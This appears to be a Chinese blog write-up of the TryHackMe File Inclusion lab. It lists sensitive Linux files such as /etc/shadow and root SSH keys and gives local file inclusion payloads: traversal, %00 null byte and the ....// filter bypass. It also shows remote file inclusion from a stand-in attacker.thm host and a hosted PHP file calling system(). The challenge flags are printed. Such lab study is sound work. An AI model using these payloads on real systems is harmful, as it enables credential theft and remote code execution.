TryHackMe-File Inclusion练习

本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe

路径遍历(目录遍历)

LocationDescription
/etc/issue包含要在登录提示之前打印的消息或系统标识。
/etc/profile控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息
/proc/version指定 Linux 内核的版本
/etc/passwd包含有权访问系统的所有注册用户信息
/etc/shadow包含系统用户密码的信息
/root/.bash_history包含 root 用户的历史命令
/var/log/dmessage包含全局系统消息,包括系统启动期间记录的消息
/var/mail/rootroot 用户的所有电子邮件
/root/.ssh/id_rsa服务器上的root 用户或任何已知有效用户的 SSH 私钥
/var/log/apache2/access.logApache web服务器的访问请求
C:\boot.ini包含具有 BIOS 固件的计算机的引导选项

本地文件包含

?file=../../../../etc/passwd

通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.

相关payload可参考以下内容:

?file=/etc/passwd%00
?file=/etc/passwd/.

%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。

为了更清楚地理解访问当前目录技巧/.,我们可以查看以下例子:如果我们在文件系统中使用cd ..,我们将切换到上一级目录;如果我们使用的是cd.,我们仍然将停留在当前目录。

因此,当我们输入/etc/passwd/..时,我们将切换目录到/etc/,然后当我们输入/etc/passwd/.时,将停留在当前目录/etc/passwd(因为.指代的就是当前工作目录,所以并不会进行目录切换操作)。

../关键字被过滤

当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd时,如果收到如下错误提示:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

这说明:../关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../

我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:

?file=....//....//....//....//....//etc/passwd

这种方式被称为“双写绕过”。

双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。

image

强制include函数从已定义的目录中读取目标文件

例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php

为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:

?file=languages/../../../../../etc/passwd

远程文件包含

假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。

python3 -m http.server

 

挑战

Challenge-1

因为要POST上传,所以我们使用bp抓包上传吧

这里不知道为什么始终显示错误,所以就使用插件了

Max HacKBar(HackBar最新版要钱,可以去找旧版下载) 

这样的

POST传参 

 flag1:F1x3d-iNpu7-f0rrn

Challenge2 

这里显示要admin,而我们是Guest,所以我们要成为admin 

但Get和POST传参都不行

所以我们尝试继续修改cookie

 接下来我们用上面讲过的方法

../../../../etc/flag2%00

flag2:c00k13_i5_yuMmy1 

Challenge3

file=../../.././etc/flag3%00

这题get、post都可以,不过因为使用插件上传会进行url编码

所以只能抓包把%2500改为%00即可

 

flag:P0st_1s_w0rk1in9 

Challenge4

先将php代码写入cmd.txt

<?PHP 
echo system('hostname'); 
?>

 

python3 -m http.server 8080

http://10.10.109.26:8080/cmd.txt

flag:lfi-vm-thm-f8c5b1a78692 

答题:

 

  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值